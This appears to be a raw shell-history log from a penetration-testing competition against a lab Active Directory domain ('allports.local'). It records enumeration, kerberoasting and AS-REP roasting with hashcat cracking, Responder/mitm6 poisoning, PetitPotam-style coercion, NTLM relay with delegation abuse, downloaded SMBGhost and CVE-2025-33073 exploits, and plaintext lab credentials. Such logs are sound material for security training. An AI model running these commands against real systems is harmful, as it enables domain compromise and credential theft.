_raw: : 1762623051:0;echo "47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" | base64 -d


_raw: : 1762623004:0;git clone -q https://github.com/dirkjanm/krbrelayx


_raw: : 1762622973:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/jsmith.txt -o kerb-results


_raw: : 1762622922:0;hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset dc_ntlmhash '?1?1?1?1?1?1?1?1'


_raw: : 1762622917:0;hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset dc_ntlmhash ?1?1?1?1?1?1?1?1


_raw: : 1762622840:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/jsmith.txt


_raw: : 1762622839:0;chmod +x kerbrute_linux_amd64


_raw: : 1762622835:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/jsmith.txt


_raw: : 1762622737:0;git clone https://github.com/insidetrust/statistically-likely-usernames.git


_raw: : 1762622593:0;uv run ntlmv1.py --ntlmv1 $(cat ../dc_ntlm)


_raw: : 1762622519:0;git clone -q https://github.com/evilmog/ntlmv1-multi


_raw: : 1762622514:0;git clone -q https://github.com/evilmog/ntlmv1-multi/tree/master


_raw:
rebeus -h
ls
rubeus Rubeus.exe Rubeus.exe
rubeus Rubeus.exe
rubeus kerberoast
kerberoast
.\Rubeus.exe
impacket-GetUserSPNs
smbclient -L //10.0.1.21 -N
smbclient -L //10.0.1.6 -N
smbclient -L //10.0.1.6 -U 'DOMAIN\username'
submap
smbmap -H 10.0.1.6
smbmap -H 10.0.1.21
enum4linux -a 10.0.1.6
enum4linux -a 10.0.1.21
enum4linux -a 10.0.1.10
enum4linux -a 10.0.1.11
enum4linux -a 10.0.1.14
enum4linux -a 10.0.1.15
enum4linux -a 10.0.1.20
greenbone
enum4linux -a 10.0.1.21]
enum4linux -a 10.0.1.99
enum4linux -a 10.0.1.6
metasploit
nmap -F 10.0.254.207
ping *.rooms.allports.tours
ping prod.allports.tours
ping pd.allports.tours
cd
nmap -f *.rooms.allports.tours
smbmap -H bb-142.rooms.allports.tours
smbmap -H -d bb-142.rooms.allports.tours


_raw:
ip addr
ping google.cpm
ping google.com
bloodhound-python
nmap -o 10.0.1.0
nmap -o 10.0.1.99
nmap -T4 -A 10.0.1.99
nmap -T4 -A 10.0.1.21
neo4j console
ip addr
neo4j console
dnsenum
sublist3r
sublist3r -d 10.0.1.14
ping prod.allports.local
ping pd.allports.local
cat hosts.
cat hosts
cat /etc/hosts
ping prd.allports.local
ping prod.allports.local
ping pd.allports.local
dnsenum --noreverse 10.0.1.6
host 10.0.1.6
host 10.0.1.1
whois 10.0.1.6
subfinder
subfinder ?
subfinder
subfinder help
subfinder -h
subfinder -d prod.allports.local
subfinder -d 10.0.1.14
subfinder -d 10.0.1.14:5986
subfinder -d 10.0.1.15
subfinder -d 10.0.1.99
ping allports.locla
ping allports.local
ping vdi.allports.local
ldapsearch -x -H ldap://10.0.1.24 -b "<BASE_DN>"
nmap --script "smb-enum-shares" -p 445 10.0.1.21
kerbrute
rubeus


_raw: : 1762622229:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762622199:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762622194:0;sudo responder -I eth0 -v


_raw: : 1762622188:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw: : 1762622123:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1762622118:0;ntlmrelayx.py -tf relay.list -smb2support


_raw: : 1762622072:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o M=Petitpotam L=10.0.254.201 ALWAYS=true


_raw: : 1762622016:0;netexec smb 10.0.1.20 -u guest -p 'whatever' --shares


_raw: : 1762622014:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus


_raw: : 1762622004:0;nxc windows 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus


_raw: : 1762621994:0;ntlmrelayx.py -tf relay.list -smb2support


_raw: : 1762621815:0;systemctl status gvmd.service


_raw: : 1762621803:0;systemctl start gvmd.service


_raw: : 1762621793:0;nxc smb workstations -u svc_stabilize -p 1gyroscope -M coerce_plus


_raw: : 1762621774:0;sudo responder -I eth0 -v


_raw:
nxc ldap 10.0.1.6
sudo responder -I eth0 -dw
ls
sudo responder -I eth0 -dw
sudo mitm6
sudo apt install mitm6
sudo mitm6 -d allports.local
nxc smb 10.0.1.0/24
nxc smb 10.0.1.0/24 -M h
nxc smb 10.0.1.0/24 -L
nxc smb 10.0.1.0/24 -M timeroast
nxc smb 10.0.1.6 -M timeroast
nxc smb 10.0.1.0/24 -L
nxc smb 10.0.1.0/24 -M gpp_password
sudo nano /etc/responder/Responder.conf
sudo responder -I eth0 -dw


_raw: : 1762621754:0;nxc windows 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1762621652:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --find-delegation


_raw: : 1762621645:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --trusted-for-delegation


_raw: : 1762621634:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M adcs


_raw: : 1762621527:0;nxc smb windows -u svc_stabilize -p 1gyroscope


_raw: : 1762621492:0;nmap -sS -sV --script=vuln 10.0.1.0/24 -o vulnerabilities_full_network


_raw: : 1762621475:0;nxc smb windows -u Adminstrator -p 1gyroscope


_raw: : 1762621469:0;nxc smb windows -u Adminstrator -p 1gyroscope --local-auth


_raw: : 1762621455:0;systemctl restart networking


_raw: : 1762621443:0;nslookup penny.allports.local 10.0.1.11


_raw: : 1762621437:0;nslookup penny.allports.local 10.0.1.6


_raw: : 1762621393:0;nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' -M get-desc-users


_raw:
clear
nmap -scriptvuln 10.0.1.11
nmap -scriptvuln 10.0.1.11'
nmap -script vuln 10.0.1.11'
nmap -script vuln 10.0.1.11
nmap -script vuln 10.0.1.14
nmap -script vuln 10.0.1.99
nmap -script vuln 10.0.1.15
rdesktop 10.0.1.20
enum4linux --help
enum4linux 10.0.1.20
enum4linux 10.0.1.6


_raw:
nmap 10.0.1.11 -F
nmap 10.0.1.11 -p 8081 -sV
curl 10.0.1.11:8081
nmap 10.0.1.6 -F
nmap 10.0.1.6 -F -sV
nmap 10.0.1.6 -p 53 -sV
nmap 10.0.1.11 -f
nmap 10.0.1.11 -p 8045 -sV
curl -d "table" 10.0.1.11:8045/tabular_search
curl -d "" 10.0.1.11:8045/tabular_search
curl -d "SELECT FROM all_ports_tours_all_invoice_log WHERE *" 10.0.1.11:8045/tabular_search
curl -d "all_ports_tours_all_invoice_log" 10.0.1.11:8045/tabular_search
curl -d "table:all_ports_tours_all_invoice_log" 10.0.1.11:8045/tabular_search
curl -d "**Available Tables:**" 10.0.1.11:8045/tabular_search
curl -d "full_voyage_schedule" 10.0.1.11:8045/tabular_search
curl -d "{\
  "table": "string",\
  "select": [\
    "string"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}\
" 10.0.1.11:8045/tabular_search
curl -d 10.0.1.11:8045/tabular_search/full_voyage_schedule
curl -d "" 10.0.1.11:8045/tabular_search/full_voyage_schedule
curl -d "table=full_voyage_schedule" 10.0.1.11:8045/tabular_search/
curl -d "table" 10.0.1.11:8045/tabular_search/
curl -d "table_name=full_voyage_schedule&limit=100&offset=0" 10.0.1.11:8045/tabular_search/
curl -X 'POST'  \
\
'http://10.0.1.11:8045/tabular_search'  \
\
-H 'Content-Type: application/json'  \
\
-d '{ "table": "full_voyage_schedule", "select": ["*"], "where": {"* \xBD}, "limit": 1000, "offset": 0, "order_by": [{"col": "created_at", "desc": true}], "summarize": true }'
curl -X 'POST' http://10.0.1.11:8045/tabular_search -H 'Content-Type: application/json' -d '{ "table": "full_voyage_schedule", "select": ["*"], "where": {"* \xBD}, "limit": 1000, "offset": 0, "order_by": [{"col": "created_at", "desc": true}], "summarize": true }'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{ "table": "full_voyage_schedule", "select": ["*"], "where": {"* \xBD}, "limit": 1000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"full_voyage_schedule", "select":["*"], "where":{"* \xBD}, "limit":1000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"full_voyage_schedule", "select":["*"], "where":{}, "limit":1000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"all_ports_tours_vendor_invoice_log", "select":["*"], "where":{}, "limit":1000}'
nmap 10.0.1.11 -p 8045 -sV
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"all_ports_tours_vendor_invoice_log", "select":["*"], "where":{}, "from":{"notes"}, "limit":1000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"all_ports_tours_vendor_invoice_log", "select":["*"], "where":{}, "from":"notes", "limit":1000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"full_voyage_schedule", "select":["*"], "where":{}, "from":"notes", "limit":100000}'
curl -X 'POST' 'http://10.0.1.11:8045/tabular_search' -H 'Content-Type: application/json' -d '{"table":"full_voyage_schedule", "select":["*"], "where":{}, "from":"notes", "limit":100000}' >output
grep output "notes"
ls
grep notes "output"


_raw: : 1762621229:0;cd ..; nxc smb windows -u SVC_STABILIZE -p 1gyroscope --shares


_raw: : 1762620970:0;nxc ldap 10.0.1.6 -u ~/real_domain_users -p 1gyroscope --continue-on-success


_raw: : 1762620847:0;netexec smb 10.0.1.21 -u guest -p 'whatever' --shares


_raw: : 1762620825:0;termshot -scf ~/termshot.png -e -- "nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoast kerb.roast"


_raw: : 1762620762:0;termshot -scf ~/termshot.png -C 60 -e -- "nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoast kerb.roast"


_raw: : 1762620760:0;sudo apt install seclists


_raw:
cat /var/log/command_history.log
ls
cat
cat password.txt
ls
exit


_raw: : 1762620695:0;ffuf -t 1 -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt


_raw: : 1762620686:0;ffuf -t 1 -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt


_raw:
nmap -sC -sV 10.0.1.10
nmap -sC -sV -p- 10.0.1.10
nmap -sC -sV -p- 10.0.1.30
nmap -p- 10.0.1.30
nmap -sC -sV 10.0.1.254
nmap -sC -sV -p- 10.0.1.254
nmap -sC -sV -p- -vv 10.0.1.254
nmap -sC -sV -p- --version-intensity 5 10.0.1.254
nmap -sC -sV -p- --version-intensity 9 10.0.1.254
nmap -sC -sV -p- --version-intensity 9 10.0.1.11
nmap -sC -sV -p- --version-intensity 9 10.0.1.99
mysql -u postgres -h 10.0.1.99
mysql -h 10.0.1.99 --ssl-mode=DISABLED -u postgres
mysql -h 10.0.1.99 --skip-ssl -u postgres
mysql -h 10.0.1.99 --skip-ssl -u postgres -p
mysql -h 10.0.1.15 --skip-ssl -u postgres -p
mysql -h 10.0.1.15 --skip-ssl -u root
mysql -h 10.0.1.99 --skip-ssl -u root
mysql -h 10.0.1.99 --skip-ssl -u postgres
mysql -h 10.0.1.99 --skip-ssl -u postgres -p
mysql -h 10.0.1.99 --skip-ssl -u root -p
mysql -h 10.0.1.15 --skip-ssl -u root -p
mysql -h 10.0.1.15 --skip-ssl -u postgres -p
gobuster -w /usr/share/wordlists/dirbuster
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.0.1.11
gobuster -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762620669:0;ffuf -t 1 -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt


_raw: : 1762620662:0;ffuf -t 5 -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt


_raw: : 1762620646:0;termshot -scf ~/termshot.png -C 60 -e -- "hashcat -m 13100 kerb.roast ~/rockyou.txt --show"


_raw: : 1762620602:0;termshot -scf ~/termshot.png -C 60 -- "hashcat -m 13100 kerb.roast ~/rockyou.txt --show"


_raw: : 1762620593:0;termshot -scf ~/termshot.png -C 35 -- "hashcat -m 13100 kerb.roast ~/rockyou.txt --show"


_raw: : 1762620592:0;ffuf -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt--threads 5


_raw:
ls Downloads
echo $SHELL
mv Downloads/logAgg.sh .
chmod a+x logAgg.sh
./logAgg.sh
sudo ./logAgg.sh
clear
ls /var/log/
cat /var/log/command_history.log
sudo cat /var/log/command_history.log
./logAgg.sh
sudo ./logAgg.sh
ls


_raw: : 1762620544:0;ffuf -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt--t 5


_raw: : 1762620539:0;ffuf -u http://10.0.1.99:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt-t 5


_raw: : 1762620539:0;curl http://proxy-cptc11-apps-room-console-cmiller-infra-readiness/whoami -f


_raw: : 1762620530:0;curl http://proxy-cptc11-apps-room-console-cmiller-infra-readiness/whoami -v


_raw: : 1762620518:0;curl http://proxy-cptc11-apps-room-console-cmiller-infra-readiness/ -v


_raw: : 1762620334:0;termshot -scf ~/termshot.png -- "hashcat -m 13100 kerb.roast ~/rockyou.txt --show"


_raw: : 1762620319:0;mysql --host=10.0.1.15 -u root mysql --password=blah


_raw: : 1762620317:0;pip3 install -r requirements.txt


_raw: : 1762620260:0;git clone https://github.com/ly4k/SMBGhost.git


_raw: : 1762620239:0;termshot -scf ~/termshot.png -- "nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --pass-pol"


_raw: : 1762620195:0;make && sudo make install


_raw: : 1762620189:0;sudo mv termshot /usr/local/bin/termshot


_raw: : 1762620186:0;mv termshot /usr/local/bin/termshot


_raw: : 1762620150:0;git clone https://github.com/greenbone/gsa.git


_raw: : 1762620133:0;grep -Pv '\w{2}-\w{4}' valid_domain_users > real_domain_users


_raw: : 1762620036:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --users-export valid_domain_users


_raw: : 1762619979:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic --add-computer fcomp password


_raw: : 1762619970:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --find-delegation


_raw: : 1762619965:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --trusted-for-delegation


_raw: : 1762619923:0;nxc smb windows -u rdavis -p rosdav50 --shares


_raw: : 1762619922:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762619916:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762619888:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support -remove-mic


_raw: : 1762619807:0;hashcat -m 13100 kerb.roast ~/rockyou.txt --show


_raw: : 1762619804:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support -remove-mic


_raw: : 1762619647:0;netexec smb 10.0.1.21 -u guest -p 'whatever' --shares


_raw:
nxc smb 10.0.1.0/24
dig axfr allports.local @ 10.0.1.6
dig axfr allports.local @10.0.1.6
sudo updatedb
nxc smb 10.0.1.0/24 -u Administrator -p '' --local-auth
nxc smb 10.0.1.6 --generate-hosts-file
nxc smb 10.0.1.6 --generate-hosts-file hosts.txt
ls
cat hosts.txt
cat /etc/hosts
nxc smb 10.0.1.6 --generate-host-file hosts.txt
nxc smb 10.0.1.6 --generate-hosts-file hosts.txt
nxc smb 10.0.1.0/24 --generate-hosts-file hosts.txt
ls
cat hosts.txt
nxc smb 10.0.1.0/24 --generate-hosts-file hosts.txt
cat hosts.txt
sudo nano /etc/hosts
nxc smb 10.0.1.0/24 --generate-hosts-file hosts.txt
cat hosts.txt
sudo nano /etc/hosts
nxc smb 10.0.1.0/24 -M ms17-010
nxc smb 10.0.1.6 -M zerologon
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48216.zip
ls
unzip 48216.zip
ls
cd CVE-2020-0796-PoC-master
lls
ls
python3 CVE-2020-0796.py
python3 CVE-2020-0796.py DECKHAND-01.allports.local
msfconsole -q


_raw: : 1762619501:0;impacket-lookupsid guest@10.0.1.21 -no-pass


_raw: : 1762619408:0;impacket-smbclient 'allports.local/Administrator' -no-pass


_raw: : 1762619325:0;hashcat -m 13100 kerb.roast ~/rockyou.txt


_raw: : 1762619289:0;nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoast kerb.roast


_raw: : 1762619172:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762619167:0;gzip /usr/share/wordlists/rockyou.txt.gz o


_raw: : 1762619156:0;tar xf /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762619009:0;sg docker -c 'echo $(docker logs $(docker ps -qf "ancestor=specterops/bloodhound:latest") | grep -i "initial password") | cut -d# -f2'\


_raw: : 1762618961:0;rusthound-ce -u rdavis -p rosdav50 -f apt-dc-01.allports.local -i 10.0.1.6 -d allports.local -c All --zip


_raw: : 1762618951:0;rusthound-ce -u rdavis -p rosdav50 -f apt-dc-01.allports.local -i 10.0.1.6 -c All --zip


_raw: : 1762618943:0;rusthound-ce -u rdavis -p rosdav50 -f apt-dc-01.allports.local -i 10.0.1.6 -c All -z


_raw:
nmap -sn 10.0.1.0/24
nmap -sT 10.0.1.0/24
ms config
msf config
ssh 10.0.1.11:22
ssh 10.0.1.11 -p 22
ssh 10.0.1.15 -p 3306
curl 10.0.1.1:53
mysql -u root -h 10.0.1.99 -p 3306
curl 10.0.1.15:8090
mysql -u root -h 10.0.1.99 -p 3306
mysql -u admin -h 10.0.1.99 -p 3306
mysql -u root -h 10.0.1.99 -p 3306
mysql -u root -h 10.0.1.15 -p 3306
mysql -u root -h 10.0.1.99 -p 3306
clear
ssh 10.0.1.30
ssh admin@10.0.1.30
install xfreerdp
xfreerdp
xfreerdp3
xfreerdp3 -h
xfreerdp3 /v:10.0.1.6 /cert:ignore /u: administrator
xfreerdp3 /v:10.0.1.6 /u:administrator
xfreerdp3 /v:10.0.1.6 /cert:ignore /u:administrator
nmap --script vuln -p 5001
nmap 10.0.1.14 --script vuln -p 5001
nxc smb 10.0.1.6 -u 'a' -p '' --shares
nxc smb 10.0.1.6 -u 'a' -p '' --rid-bruce --log nxc_rid.brute
nxc smb 10.0.1.6 -u 'a' -p '' --rid-bruce
nxc smb 10.0.1.6 -u 'a' -p '' --rid-brute
nxc smb 10.0.1.6 -u 'guest' -p ''
nxc smb 10.0.1.6 -u 'administrator' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --rid-bruce
nxc smb 10.0.1.6 -u '' -p '' --rid-brute
xfreerdp3 /v:10.0.1.6
xfreerdp3 /v:10.0.1.21
clear
smbclient -L //10.0.1.20 -N
crackmapexec
crackmapexec smb 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.6 -u 'guest' -p ''
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
smbclient -L //10.0.1.20 -N
smbclient -L //10.0.1.6 -N
curl 10.0.1.15:8090
smbclient -L //10.0.1.21 -N
smbclient -L //10.0.1.6 -N
smbclient -L 10.0.1.6 -U Administrator
smbclient -L 10.0.1.6 -U bayfinn
smbclient -L 10.0.1.6 -U guest
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
crackmapexec smb 10.0.1.20 -u '' -p '' --shares
crackmapexec smb 10.0.1.21 -u '' -p '' --shares
nmap -sT -Pn -n --open 10.0.1.0/24 -sV
clear


_raw: : 1762618876:0;rusthound-ce -u rdavis -p rosdav50 -h


_raw: : 1762618806:0;nxc ldap apt-dc-01.all-ports.local -u rdavis -p rosdav50


_raw: : 1762618797:0;nxc ldap -u rdavis -p rosdav50


_raw: : 1762618764:0;./kerbrute_linux_amd64 userenum -d all-ports.local ~/tent-users


_raw: : 1762618676:0;chmod +x kerbrute_linux_amd64


_raw: : 1762618648:0;sudo apt install kerbrute -y


_raw: : 1762618505:66;sudo responder -I eth0 -v


_raw: : 1762618476:0;git clone https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1762618474:0;git clone https://github.com/mverschu/CVE-2025-33073.git .


_raw: : 1762618222:0;impacket-ntlmrelayx -t winrm://apt-dc-01.allports.local --delegate-access -smb2support --remove-mic


_raw:
ifconfig
ls
cat password.txt
ls
git clone "https://github.com/nationalcptc-teamtools/University-Of-South-Florida.git" ./tools
ls
cd tools
ls
sudo chmod 755 letsgo.sh
ls -la
sudo chmod 755 else.sh
ls -la
sudo chmod 755 fixtmux.sh
ls -la
sudo ./letsgo.sh
which go
locat go
locate go
source ~/.zshrc
which go
ls
./else.sh
ls
cd ..
ls
cd '~'
ls
cd logs
ls
cd tmux
ls
cd ..
ls
cd ..
ls
cd ..
ls
ls -la
cd .tmux
ls
cd plugins
ls
cd ..
ls
tmux
nano .tmux.conf
tmux
tmux source-file ~/.tmux.conf
tmux
cat password.txt


_raw: : 1762618134:0;nxc smb windows -u tent-users -p '' --local-auth


_raw: : 1762618110:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw:
ls
cat password.txt
ls
git clone https://github.com/nationalcptc-teamtools/University-Of-South-Florida
mv University-Of-South-Florida scripts
ls
cd scripts
ls
echo $SHELL
chmod +x ./letsgo.sh
sudo ./letsgo.sh
source ~/.zshrc
bash else.sh
ls


_raw: : 1762617953:0;nxc ldap 10.0.1.6 -u tent-users -p tent-users --no-bruteforce


_raw:
fping -r1 -g 10.0.1.0/24 | tee ping_sweep
cat ping_sweep
cat ping_sweep | grep alive
exit


_raw:
for i in {1..100}; do xcowsay hi & disown; sleep 0.2; done
cd ..
ls
cat password.txt
sudo apt install xcowsay
for i in {1..100}; do xcowsay hi & disown; sleep 0.2; done
cd AllPorts
mkdir AllPorts
ls
cd AllPorts
ls
firefox
bloodhound
cd ..
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
cat password.txt
sudo ./bloodhound-cli install
nxc
for i in {1..100}; do xcowsay hi & disown; sleep 0.2; done
ls
cd tools
ls
cd Tools
ls
cd tools
ls
cd ..
ls
for i in {1..100}; do xcowsay hi & disown; sleep 0.2; done
ls
cd AllPorts
ls
cd ..
nano password.txt
nano fagan.txt
cat password.txt
nano fagan.txt
cat fagan.txt
ssh Pentester@10.0.254.203
ssh kali@10.0.254.203
ssh -L 8009:127.0.0.1:8009 kali@10.0.254.203


_raw: : 1762617817:0;sudo apt install remmina -y


_raw:
wireshark &
sudo wireshark &
sudo wireshark
wireshark


_raw:
cat password.txt
sudo usermod -a -G wiershark kali
sudo dpkg-reconfigure wireshark-common
wireshark &


_raw: : 1762617780:0;mv /home/pentester/Downloads/52269.c .


_raw: : 1762617713:0;hashcat -m 3200 -a 0 hash.txt password.txt


_raw: : 1762617670:0;mariadb -h 10.0.1.99 -u root -p --ssl-verify-server-cert=0


_raw: : 1762617667:0;gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762617652:0;mariadb -h 10.0.1.99 -u mysql -p --ssl-verify-server-cert=0


_raw: : 1762617637:0;gobuster dir -u https://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762617626:0;mariadb -h 10.0.1.99 -u root -p --ssl-verify-server-cert=0


_raw:
nmap -sS -p- --open -v 10.0.1.1/24 | tee nmapscan.txt
cat nmapscan.txt
vi nmapscan.txt


_raw:
cd Downloads
ls
cd Reporting
nmap -sS -p- 10.0.0.1/24
nmap -sS -p- -v  10.0.0.1/24
nmap -sS -p- -v  10.0.1.1/24
nmap -sS -p- -v  10.0.0.1/24 | tee nmapscan.txt
ls
vi nmapscan.txt
less nmapscan.txt


_raw: : 1762617620:0;mariadb -h 10.0.1.99 -u mysql -p --ssl-verify-server-cert=0


_raw:
ls
cd logs
ls
cd tmux
ls
cd ~
fping --help
nano .tmux.conf


_raw: : 1762617419:0;nxc smb 10.0.1.6 -M coerce_plus -o M=Printerbug L=10.0.254.201 ALWAYS=true


_raw: : 1762617418:0;nmap -sS -sV 10.0.1.0/24 -o service_version_detection.nmap


_raw: : 1762617398:458;ntlmrelayx.py -tf relay.list


_raw: : 1762617338:0;impacket-ntlmrelayx -t 10.0.1.20 --delegate-access -smb2support


_raw: : 1762617310:0;nxc smb windows -u Administrator -p ~/rockyou.txt --local-auth


_raw: : 1762617297:0;nxc smb windows -u Administrator -p '' --local-auth


_raw: : 1762617296:0;impacket-ntlmrelayx -t 10.0.1.6 --delegate-access -smb2support


_raw: : 1762617274:0;impacket-ntlmrelayx -t 10.0.1.6 --delegate-access


_raw: : 1762617241:0;nxc smb 10.0.1.6 -M coerce_plus -o M=Printerbug L=10.0.254.201 ALWAYS=true


_raw: : 1762617209:0;ntlmrelayx.py -tf relay.list


_raw: : 1762617204:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.11/api/auth/FUZZ" -recursion -r  -t 1 -fs 4831 -X POST


_raw: : 1762617189:0;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://10.0.1.11/api/auth/FUZZ" -recursion -r  -t 1 -fs 4831


_raw: : 1762617182:2;nxc smb windows --gen-relay-list relay.list


_raw: : 1762617165:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access


_raw:
cd ..
ls
cd password
ls
cat password.txt
ls


_raw: : 1762617070:0;cat network.txt | grep ssh


_raw: : 1762617066:0;cat network.txt | grep open ssh


_raw: : 1762617043:0;cat network.txt | grep http


_raw: : 1762617010:0;impacket-ntlmrelayx -t ldap://APT-DC-01 --delegate-access


_raw: : 1762616753:0;python3 ~/University-of-Central-Florida/scan/md2html.py scan.md


_raw: : 1762616730:0;~/nmap2md/nmap2md.py fixed_scan.xml scan.md > scan.md


_raw: : 1762616709:0;~/nmap2md/nmap2md.py fixed_scan.xml scan.md


_raw: : 1762616696:0;nmap -sS -sV 10.0.1.0/24 -oX service_version_detection.xml


_raw: : 1762616671:0;GetNPUsers.py -usersfile tent-users -request -format hashcat -outputfile asreproast.txt -dc-ip 10.0.1.6 'allports.local/'


_raw: : 1762616621:0;GetNPUsers.py -usersfile tent-users -request -format hashcat -outputfile asreproast.txt -dc-ip $KeyDistributionCenter 'allports.local/' apt-dc-01.allports.local


_raw: : 1762616611:0;GetNPUsers.py -usersfile tent-users -request -format hashcat -outputfile asreproast.txt -dc-ip $KeyDistributionCenter 'allports.local/'


_raw: : 1762616557:0;nxc ldap APT-DC-01.allports.local -u tent-users -p '' --asreproast asrep.roast


_raw:
netexec ldap 10.0.1.6 -u '' -p '' --rid-brute
ls
nmap -sV 10.0.0.16
nmap -sV 10.0.1.16
nmap -sV 10.0.1.6
netexec -h
netexec ldap -u '' -p '' --users
netexec ldap 10.0.1.6 -u '' -p '' --users


_raw: : 1762616508:0;nslookup prod.allports.local0 10.0.1.6


_raw: : 1762616505:0;nslookup prod.allports.local9 10.0.1.6


_raw: : 1762616489:0;nslookup prod.allports.local 10.0.1.6


_raw: : 1762616149:0;nxc smb windows -u baileys -p ''


_raw: : 1762616133:0;./username-anarchy Bailey Finn >> ~/baileys


_raw: : 1762616121:0;./username-anarchy Bailey Finn


_raw: : 1762616116:0;./username-anarchy "Bailey Finn"


_raw: : 1762616067:0;git clone -q https://github.com/vdjagilev/nmap2md


_raw: : 1762616043:0;python3 ~/University-of-Central-Florida/scan/fix_scan.py ~/scan.xml ~/fixed_scan.xml


_raw: : 1762616010:0;feroxbuster --url http://10.0.1.99:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt


_raw:
tail -f ~/Report.txt
clear
cd Loot
clear
cat ~/Report.txt
clear
ls
clear
exit


_raw:
echo $SHELL
firefox
cd Downloads
ls
chmod a+x logAgg.sh
sudo ./logAgg.sh


_raw:
echo $SHELL
ls
mkdir apt
cd apt
mkdir scripts
mv ~/Downloads/logAgg.sh ./scripts/logAgg.sh
